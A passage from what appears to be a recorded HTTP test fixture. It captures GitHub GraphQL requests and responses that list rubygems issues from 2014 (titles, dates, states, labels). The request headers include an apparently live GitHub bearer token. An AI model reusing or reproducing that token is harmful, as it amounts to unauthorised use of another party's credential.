option","url":"https://github.com/rubygems/rubygems/issues/780","labels":{"nodes":[{"name":"category: command"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0xMVQwMTo1MzoxNy0wNTowMM4BhCsi","node":{"number":783,"createdAt":"2014-01-11T06:53:17Z","closedAt":"2014-01-13T22:19:16Z","updatedAt":"2014-01-14T02:45:36Z","state":"CLOSED","title":"gem rdoc bug","url":"https://github.com/rubygems/rubygems/issues/783","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0xMVQxODo1NjoxOC0wNTowMM4BhGRH","node":{"number":784,"createdAt":"2014-01-11T23:56:18Z","closedAt":"2015-01-15T19:17:18Z","updatedAt":"2015-01-15T19:17:18Z","state":"CLOSED","title":"Impossible uninitialized constant (regression in Rubygems 2.2)","url":"https://github.com/rubygems/rubygems/issues/784","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0xM1QwNzo1NTozMS0wNTowMM4BhQYe","node":{"number":785,"createdAt":"2014-01-13T12:55:31Z","closedAt":"2014-05-28T04:35:38Z","updatedAt":"2014-05-28T04:35:38Z","state":"CLOSED","title":"Rubygems ignores -d option for generate_index","url":"https://github.com/rubygems/rubygems/issues/785","labels":{"nodes":[{"name":"category: command"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0xNVQxMTo1MDo1MC0wNTowMM4Bh5Bl","node":{"number":787,"createdAt":"2014-01-15T16:50:50Z","closedAt":"2016-02-11T06:47:11Z","updatedAt":"2016-02-29T21:37:37Z","state":"CLOSED","title":"Add a commandline --silent option","url":"https://github.com/rubygems/rubygems/issues/787","labels":{"nodes":[{"name":"category: command"},{"name":"status: ready"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0xNVQxNjoyMDowMC0wNTowMM4Bh+OL","node":{"number":789,"createdAt":"2014-01-15T21:20:00Z","closedAt":"2014-02-05T00:34:32Z","updatedAt":"2016-01-01T21:25:00Z","state":"CLOSED","title":"Open gem source in editor","url":"https://github.com/rubygems/rubygems/issues/789","labels":{"nodes":[{"name":"category: command"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0xOFQwOToxMjoxNC0wNTowMM4Bips+","node":{"number":792,"createdAt":"2014-01-18T14:12:14Z","closedAt":"2014-01-18T14:14:23Z","updatedAt":"2014-01-18T17:39:11Z","state":"CLOSED","title":"Replace \\n with
when displaying the summary field of any given gem on rubygems.org","url":"https://github.com/rubygems/rubygems/issues/792","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0xOVQwOToyMjozMy0wNTowMM4Biuob","node":{"number":794,"createdAt":"2014-01-19T14:22:33Z","closedAt":"2014-05-14T04:35:35Z","updatedAt":"2014-05-14T04:35:35Z","state":"CLOSED","title":"HTTP_PROXY Issues with version 2.2.1","url":"https://github.com/rubygems/rubygems/issues/794","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0yMVQwODo1MjozMi0wNTowMM4BjMGv","node":{"number":796,"createdAt":"2014-01-21T13:52:32Z","closedAt":"2014-01-29T01:07:40Z","updatedAt":"2014-09-29T20:02:28Z","state":"CLOSED","title":"Possible wrong condition in `build_extensions'' ?","url":"https://github.com/rubygems/rubygems/issues/796","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0yMlQxMzoyOTo0NS0wNTowMM4Bjm2s","node":{"number":797,"createdAt":"2014-01-22T18:29:45Z","closedAt":"2014-01-22T18:52:34Z","updatedAt":"2014-01-22T18:52:34Z","state":"CLOSED","title":"Please remove gem","url":"https://github.com/rubygems/rubygems/issues/797","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0yMlQxNjoyMDo0My0wNTowMM4Bjp7G","node":{"number":798,"createdAt":"2014-01-22T21:20:43Z","closedAt":"2016-01-31T21:45:27Z","updatedAt":"2016-01-31T21:45:27Z","state":"CLOSED","title":"Unnecessary error about minimum ruby version during gem install.","url":"https://github.com/rubygems/rubygems/issues/798","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0yMlQxODo1MToyMC0wNTowMM4BjsR5","node":{"number":799,"createdAt":"2014-01-22T23:51:20Z","closedAt":"2014-01-28T00:12:08Z","updatedAt":"2015-04-29T17:41:05Z","state":"CLOSED","title":"rubygems binstub _VERSION_ syntax prevents executables from accepting files named _foo_","url":"https://github.com/rubygems/rubygems/issues/799","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0yNFQxMDoyNzoyMy0wNTowMM4BkIGi","node":{"number":800,"createdAt":"2014-01-24T15:27:23Z","closedAt":"2014-01-24T21:34:06Z","updatedAt":"2014-03-04T02:21:44Z","state":"CLOSED","title":"FetchError when downloading from hosted gem server","url":"https://github.com/rubygems/rubygems/issues/800","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0zMFQyMzozMDowOS0wNTowMM4Blroy","node":{"number":802,"createdAt":"2014-01-31T04:30:09Z","closedAt":"2014-02-03T21:59:09Z","updatedAt":"2014-02-03T21:59:09Z","state":"CLOSED","title":"unknown state: unknown protocol error","url":"https://github.com/rubygems/rubygems/issues/802","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMS0zMVQxMjoxNjo1Ny0wNTowMM4Bl2tj","node":{"number":803,"createdAt":"2014-01-31T17:16:57Z","closedAt":"2014-01-31T19:09:39Z","updatedAt":"2014-02-04T11:31:36Z","state":"CLOSED","title":"Address family not supported by protocol - socket(2) - udp for latest Rubygems via RVM","url":"https://github.com/rubygems/rubygems/issues/803","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0wM1QxMTozNjo0MC0wNTowMM4BmS9u","node":{"number":805,"createdAt":"2014-02-03T16:36:40Z","closedAt":"2014-02-04T02:29:24Z","updatedAt":"2014-02-04T10:39:42Z","state":"CLOSED","title":"Perf tweaks side effects when inheriting from Gem::Version","url":"https://github.com/rubygems/rubygems/issues/805","labels":{"nodes":[{"name":"category: API"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0wM1QxODoxMToyMS0wNTowMM4BmaQk","node":{"number":806,"createdAt":"2014-02-03T23:11:21Z","closedAt":"2015-10-05T21:59:26Z","updatedAt":"2015-10-05T21:59:26Z","state":"CLOSED","title":"Use of flock can cause problems on some NFS shares","url":"https://github.com/rubygems/rubygems/issues/806","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0wNFQxNTozMzoxOS0wNTowMM4Bmqk6","node":{"number":807,"createdAt":"2014-02-04T20:33:19Z","closedAt":"2014-05-29T22:54:25Z","updatedAt":"2014-05-29T22:54:25Z","state":"CLOSED","title":"gem cert --build you@example --private-key /path/to/key.pem copies the private key to a new file","url":"https://github.com/rubygems/rubygems/issues/807","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0wNlQwNTo0OTozMy0wNTowMM4BnJpy","node":{"number":813,"createdAt":"2014-02-06T10:49:33Z","closedAt":"2014-04-24T21:56:57Z","updatedAt":"2014-04-24T21:56:57Z","state":"CLOSED","title":"gem install rspec --pre fails to resolve dependencies","url":"https://github.com/rubygems/rubygems/issues/813","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0wNlQwNzo0MToxNS0wNTowMM4BnLIt","node":{"number":814,"createdAt":"2014-02-06T12:41:15Z","closedAt":"2014-02-12T22:37:25Z","updatedAt":"2014-02-12T22:37:25Z","state":"CLOSED","title":"Rubygems 2.2.2 prints the changelog from 2.2.1","url":"https://github.com/rubygems/rubygems/issues/814","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0wN1QwMDo1NToxOS0wNTowMM4BnbB4","node":{"number":816,"createdAt":"2014-02-07T05:55:19Z","closedAt":null,"updatedAt":"2016-08-03T13:34:33Z","state":"OPEN","title":"Rubygems 2.2.2 uselessly hits the dependency API when installing a local gem file","url":"https://github.com/rubygems/rubygems/issues/816","labels":{"nodes":[{"name":"category: install"},{"name":"status: ready"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0wN1QwMDo1NjozMy0wNTowMM4BnbCW","node":{"number":817,"createdAt":"2014-02-07T05:56:33Z","closedAt":"2014-02-12T01:56:27Z","updatedAt":"2014-02-12T01:56:27Z","state":"CLOSED","title":"Rubygems 2.2.2 makes 5-10x more network requests than are needed","url":"https://github.com/rubygems/rubygems/issues/817","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}}]}}}}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:25 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"rubygems\", name: \"rubygems\") {\n issues(first: 100, after: \"Y3Vyc29yOnYyOpK5MjAxNC0wMi0wN1QwMDo1NjozMy0wNTowMM4BnbCW\", orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n node {\n number\n createdAt\n closedAt\n updatedAt\n state\n title\n url\n labels(first: 100) {\n nodes {\n name\n }\n }\n }\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:26 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4979' X-Ratelimit-Reset: - '1515254347' Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.461747' X-Github-Request-Id: - A392:4D94:4F03D4:B30C6C:5A50E48A body: encoding: ASCII-8BIT string: '{"data":{"repository":{"issues":{"edges":[{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0wOVQxMDoxMToxOC0wNTowMM4Bn2hF","node":{"number":819,"createdAt":"2014-02-09T15:11:18Z","closedAt":"2014-02-10T21:03:26Z","updatedAt":"2014-02-10T21:03:35Z","state":"CLOSED","title":"You do not have permission to push to this gem.","url":"https://github.com/rubygems/rubygems/issues/819","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0xMVQwOTowNToxNC0wNTowMM4BoVSp","node":{"number":820,"createdAt":"2014-02-11T14:05:14Z","closedAt":"2014-04-03T00:25:43Z","updatedAt":"2014-04-03T00:25:43Z","state":"CLOSED","title":"RUBYGEMS_GEMDEPS bug without explicit source in Gemfile","url":"https://github.com/rubygems/rubygems/issues/820","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0xMVQyMjowMToxNS0wNTowMM4BojCl","node":{"number":821,"createdAt":"2014-02-12T03:01:15Z","closedAt":"2014-04-02T23:01:18Z","updatedAt":"2014-08-10T21:50:47Z","state":"CLOSED","title":"RUBYGEMS_GEMDEPS bug ","url":"https://github.com/rubygems/rubygems/issues/821","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0xMVQyMzo1MTo0Ny0wNTowMM4Boj39","node":{"number":822,"createdAt":"2014-02-12T04:51:47Z","closedAt":"2014-04-18T23:45:54Z","updatedAt":"2014-05-28T18:52:11Z","state":"CLOSED","title":"RUBYGEMS_GEMDEPS and git source bug.","url":"https://github.com/rubygems/rubygems/issues/822","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0xMlQxODo1Nzo0Mi0wNTowMM4Bo1lb","node":{"number":823,"createdAt":"2014-02-12T23:57:42Z","closedAt":"2014-04-02T21:40:41Z","updatedAt":"2014-04-02T21:40:41Z","state":"CLOSED","title":"Unable to download data from ruby gems","url":"https://github.com/rubygems/rubygems/issues/823","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0xM1QxMTo0OTozNS0wNTowMM4BpB8I","node":{"number":825,"createdAt":"2014-02-13T16:49:35Z","closedAt":"2014-02-13T20:57:27Z","updatedAt":"2014-09-11T15:50:27Z","state":"CLOSED","title":"What is gem''s http user agent string? ","url":"https://github.com/rubygems/rubygems/issues/825","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0xNFQxNzowMDoyMS0wNTowMM4BpZJJ","node":{"number":827,"createdAt":"2014-02-14T22:00:21Z","closedAt":"2014-04-02T22:28:30Z","updatedAt":"2014-04-03T03:11:01Z","state":"CLOSED","title":"Passing options in /etc/gemrc doesn''t work","url":"https://github.com/rubygems/rubygems/issues/827","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0xNFQxODoxNjoxNC0wNTowMM4Bpa4x","node":{"number":828,"createdAt":"2014-02-14T23:16:14Z","closedAt":"2014-03-26T22:35:24Z","updatedAt":"2014-03-26T22:39:28Z","state":"CLOSED","title":"I can''t install rails beta gems with the master branch","url":"https://github.com/rubygems/rubygems/issues/828","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0xNlQwMzo0MjoyMS0wNTowMM4Bpih+","node":{"number":830,"createdAt":"2014-02-16T08:42:21Z","closedAt":"2014-04-21T21:51:45Z","updatedAt":"2014-04-21T21:51:45Z","state":"CLOSED","title":"`gem install --wrappers` parses scripts written in languages other than ruby.","url":"https://github.com/rubygems/rubygems/issues/830","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0xOFQwOTozNjowNi0wNTowMM4BqCb8","node":{"number":831,"createdAt":"2014-02-18T14:36:06Z","closedAt":"2014-02-18T19:47:01Z","updatedAt":"2014-02-18T19:47:01Z","state":"CLOSED","title":"Can something be done about latency?","url":"https://github.com/rubygems/rubygems/issues/831","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0yNlQwMDoyMTo0Ni0wNTowMM4Br/f+","node":{"number":834,"createdAt":"2014-02-26T05:21:46Z","closedAt":"2014-05-19T21:42:59Z","updatedAt":"2014-05-19T21:42:59Z","state":"CLOSED","title":"[2.2.2] bad native gem builds on Windows","url":"https://github.com/rubygems/rubygems/issues/834","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0yNlQwMDo0OToxMi0wNTowMM4Br/tT","node":{"number":835,"createdAt":"2014-02-26T05:49:12Z","closedAt":null,"updatedAt":"2016-06-09T09:21:15Z","state":"OPEN","title":"Allow excluding dependencies of dependencies","url":"https://github.com/rubygems/rubygems/issues/835","labels":{"nodes":[{"name":"category: gem spec"},{"name":"category: install"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0yN1QwNzo0MTozOC0wNTowMM4BsZdX","node":{"number":836,"createdAt":"2014-02-27T12:41:38Z","closedAt":"2014-02-27T15:16:17Z","updatedAt":"2014-02-27T15:16:17Z","state":"CLOSED","title":"Inconsistency in HTTP Basic Auth escaping","url":"https://github.com/rubygems/rubygems/issues/836","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMi0yN1QwOTo1Mzo1OC0wNTowMM4BsblN","node":{"number":837,"createdAt":"2014-02-27T14:53:58Z","closedAt":"2014-04-03T22:19:44Z","updatedAt":"2014-04-03T22:19:54Z","state":"CLOSED","title":"When rubygems updates ~/.gemrc, it erroneously converts some config keys from symbols to strings","url":"https://github.com/rubygems/rubygems/issues/837","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0wM1QyMToyMTo0NC0wNTowMM4BtYwo","node":{"number":840,"createdAt":"2014-03-04T02:21:44Z","closedAt":"2014-03-06T21:55:03Z","updatedAt":"2014-03-07T16:53:09Z","state":"CLOSED","title":"Gem.gunzip is trying to unzip something already uncompressed.","url":"https://github.com/rubygems/rubygems/issues/840","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0wNlQyMDoyMDoxOS0wNTowMM4BuXPH","node":{"number":844,"createdAt":"2014-03-07T01:20:19Z","closedAt":"2014-03-28T21:42:16Z","updatedAt":"2016-01-01T21:25:00Z","state":"CLOSED","title":"Verbosity should be default.","url":"https://github.com/rubygems/rubygems/issues/844","labels":{"nodes":[{"name":"category: command"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0wNlQyMjowMjozNC0wNTowMM4BuYM/","node":{"number":845,"createdAt":"2014-03-07T03:02:34Z","closedAt":"2014-03-07T04:22:09Z","updatedAt":"2014-03-07T04:22:09Z","state":"CLOSED","title":"Host bb-m.rubygems.org is not responding to SSL requests","url":"https://github.com/rubygems/rubygems/issues/845","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0xMFQwNjowMzozMS0wNDowMM4Bu8aD","node":{"number":846,"createdAt":"2014-03-10T10:03:31Z","closedAt":"2014-03-10T14:23:43Z","updatedAt":"2014-03-11T01:07:03Z","state":"CLOSED","title":"carrierwave_securefile gem always returns 500.","url":"https://github.com/rubygems/rubygems/issues/846","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0xMFQwNzo1MDozMC0wNDowMM4Bu92K","node":{"number":847,"createdAt":"2014-03-10T11:50:30Z","closedAt":"2014-03-10T13:56:36Z","updatedAt":"2014-03-10T14:23:43Z","state":"CLOSED","title":"cloak gem always returns 500","url":"https://github.com/rubygems/rubygems/issues/847","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0xMFQwODozODoxOS0wNDowMM4Bu+aZ","node":{"number":848,"createdAt":"2014-03-10T12:38:19Z","closedAt":"2014-03-10T13:58:32Z","updatedAt":"2014-03-10T13:58:32Z","state":"CLOSED","title":"encc gem always returns 500","url":"https://github.com/rubygems/rubygems/issues/848","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0xMlQwODoyODoyMi0wNDowMM4BvnLx","node":{"number":850,"createdAt":"2014-03-12T12:28:22Z","closedAt":"2014-03-12T17:36:49Z","updatedAt":"2014-03-12T17:48:23Z","state":"CLOSED","title":"Disable by default or remove the auto-compile C-ext feature","url":"https://github.com/rubygems/rubygems/issues/850","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0xM1QwMjoyNzo1Ny0wNDowMM4Bv4Tc","node":{"number":851,"createdAt":"2014-03-13T06:27:57Z","closedAt":"2014-04-18T23:41:32Z","updatedAt":"2014-04-18T23:41:32Z","state":"CLOSED","title":"RUBYGEMS_GEMDEPS does not handle multiple remotes/sources in Gemfile","url":"https://github.com/rubygems/rubygems/issues/851","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0xM1QwNToyMzo0My0wNDowMM4Bv6CC","node":{"number":852,"createdAt":"2014-03-13T09:23:43Z","closedAt":"2014-05-20T21:54:12Z","updatedAt":"2014-05-20T21:54:34Z","state":"CLOSED","title":"Wrong require_paths","url":"https://github.com/rubygems/rubygems/issues/852","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0xM1QxMzozMDo1NS0wNDowMM4BwCxA","node":{"number":853,"createdAt":"2014-03-13T17:30:55Z","closedAt":"2014-05-21T23:59:48Z","updatedAt":"2014-06-18T14:37:51Z","state":"CLOSED","title":"Pre-release gems being chosen when they shouldn''t","url":"https://github.com/rubygems/rubygems/issues/853","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0xNFQxMjoxNDozNC0wNDowMM4BwVbH","node":{"number":854,"createdAt":"2014-03-14T16:14:34Z","closedAt":"2014-03-14T20:52:19Z","updatedAt":"2016-01-01T21:25:00Z","state":"CLOSED","title":"Don''t unconditionally hijack Kernel#require","url":"https://github.com/rubygems/rubygems/issues/854","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0xN1QxODo0NDozMi0wNDowMM4Bw7/y","node":{"number":855,"createdAt":"2014-03-17T22:44:32Z","closedAt":"2014-03-26T22:44:15Z","updatedAt":"2016-01-01T21:25:00Z","state":"CLOSED","title":"allow rubygems to work with private s3 repos","url":"https://github.com/rubygems/rubygems/issues/855","labels":{"nodes":[{"name":"category: API"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0yMFQxODoyMzoxNC0wNDowMM4Bx66N","node":{"number":857,"createdAt":"2014-03-20T22:23:14Z","closedAt":"2014-05-14T00:54:17Z","updatedAt":"2014-05-14T17:21:22Z","state":"CLOSED","title":"gem server not finding selector for gems","url":"https://github.com/rubygems/rubygems/issues/857","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0yMVQxNDowMDo0OS0wNDowMM4ByJB7","node":{"number":858,"createdAt":"2014-03-21T18:00:49Z","closedAt":"2016-01-31T23:09:59Z","updatedAt":"2016-01-31T23:09:59Z","state":"CLOSED","title":"We need an alternative to yank","url":"https://github.com/rubygems/rubygems/issues/858","labels":{"nodes":[{"name":"category: command"},{"name":"category: install"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0yM1QxMToxNDoyOS0wNDowMM4ByZkP","node":{"number":859,"createdAt":"2014-03-23T15:14:29Z","closedAt":"2014-03-31T21:31:30Z","updatedAt":"2014-03-31T21:31:30Z","state":"CLOSED","title":"-P MediumSecurity does not allow installing unsigned dependencies","url":"https://github.com/rubygems/rubygems/issues/859","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0yNFQxMTo0NzoyNC0wNDowMM4Byno2","node":{"number":860,"createdAt":"2014-03-24T15:47:24Z","closedAt":"2015-11-04T03:33:35Z","updatedAt":"2015-11-04T03:33:35Z","state":"CLOSED","title":"open command test and code fails on Windows due missing fork()","url":"https://github.com/rubygems/rubygems/issues/860","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0yNFQxMTo1MDo1NC0wNDowMM4Bynt8","node":{"number":861,"createdAt":"2014-03-24T15:50:54Z","closedAt":"2014-03-27T19:54:10Z","updatedAt":"2014-03-27T19:54:14Z","state":"CLOSED","title":"test failure: incorrectly read binary data","url":"https://github.com/rubygems/rubygems/issues/861","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0yNFQxMTo1Mzo0OC0wNDowMM4Bynyd","node":{"number":862,"createdAt":"2014-03-24T15:53:48Z","closedAt":"2014-03-26T23:34:38Z","updatedAt":"2014-03-26T23:34:38Z","state":"CLOSED","title":"test failure: release notes encoding error","url":"https://github.com/rubygems/rubygems/issues/862","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0yNFQxNzo0MToyMy0wNDowMM4ByvTP","node":{"number":863,"createdAt":"2014-03-24T21:41:23Z","closedAt":"2014-03-26T23:28:16Z","updatedAt":"2015-03-13T12:41:36Z","state":"CLOSED","title":"UTF-8 error on Cygwin (under Windows)","url":"https://github.com/rubygems/rubygems/issues/863","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0yNFQyMTo0MzozNS0wNDowMM4Byybi","node":{"number":864,"createdAt":"2014-03-25T01:43:35Z","closedAt":"2014-03-25T02:01:31Z","updatedAt":"2014-03-25T02:01:31Z","state":"CLOSED","title":"When using `gem uninstall` with prompt, pressing enter does not trigger action","url":"https://github.com/rubygems/rubygems/issues/864","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0yNVQwMjo0MjowOC0wNDowMM4By0uX","node":{"number":865,"createdAt":"2014-03-25T06:42:08Z","closedAt":"2014-03-26T23:23:48Z","updatedAt":"2014-03-26T23:23:48Z","state":"CLOSED","title":"rypt-ruby","url":"https://github.com/rubygems/rubygems/issues/865","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0yNlQwMzoyMDoxOC0wNDowMM4BzKqH","node":{"number":867,"createdAt":"2014-03-26T07:20:18Z","closedAt":"2014-04-21T23:10:01Z","updatedAt":"2016-01-01T21:25:00Z","state":"CLOSED","title":"Disable suggestion of \"possible alternatives\"","url":"https://github.com/rubygems/rubygems/issues/867","labels":{"nodes":[{"name":"category: install"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wMy0yOFQyMDo1OTo1OS0wNDowMM4B0GFR","node":{"number":873,"createdAt":"2014-03-29T00:59:59Z","closedAt":"2014-03-30T03:03:45Z","updatedAt":"2014-03-30T15:55:59Z","state":"CLOSED","title":"What is api.rubygems.org for, and can we change it?","url":"https://github.com/rubygems/rubygems/issues/873","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0wMVQyMTozODoyOS0wNDowMM4B07ua","node":{"number":874,"createdAt":"2014-04-02T01:38:29Z","closedAt":"2014-04-02T20:59:44Z","updatedAt":"2014-12-29T03:58:50Z","state":"CLOSED","title":"Rubygems 2.2 breaks compatibility with 2.1 gem extensions","url":"https://github.com/rubygems/rubygems/issues/874","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0wMVQyMjowMToxMC0wNDowMM4B076q","node":{"number":875,"createdAt":"2014-04-02T02:01:10Z","closedAt":"2014-05-19T20:45:58Z","updatedAt":"2014-05-19T21:25:56Z","state":"CLOSED","title":"Running `gem install [packaged-gem-with-version].gem` ignores the version of the packaged gem","url":"https://github.com/rubygems/rubygems/issues/875","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0wM1QwMjoyMTozMy0wNDowMM4B1TKD","node":{"number":876,"createdAt":"2014-04-03T06:21:33Z","closedAt":"2014-04-03T09:23:20Z","updatedAt":"2014-04-03T09:23:20Z","state":"CLOSED","title":"Yanking don''t show in gem RSS","url":"https://github.com/rubygems/rubygems/issues/876","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0wNFQxNDozODoyNC0wNDowMM4B10CC","node":{"number":877,"createdAt":"2014-04-04T18:38:24Z","closedAt":"2016-01-31T22:49:13Z","updatedAt":"2016-01-31T22:49:13Z","state":"CLOSED","title":"Only prompt for a password a single time when using an encrypted client certificate.","url":"https://github.com/rubygems/rubygems/issues/877","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0wOVQxMjo0OToyNS0wNDowMM4B266M","node":{"number":878,"createdAt":"2014-04-09T16:49:25Z","closedAt":"2014-04-09T20:38:32Z","updatedAt":"2014-04-09T20:40:06Z","state":"CLOSED","title":"Elastic MapReduce CLI","url":"https://github.com/rubygems/rubygems/issues/878","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxNC0wNC0xMVQyMTo1NDoxNy0wNDowMM4B3rtJ","node":{"number":879,"createdAt":"2014-04-12T01:54:17Z","closedAt":"2014-04-12T23:33:51Z","updatedAt":"2014-04-12T23:33:51Z","state":"CLOSED","title":"Possible SSL 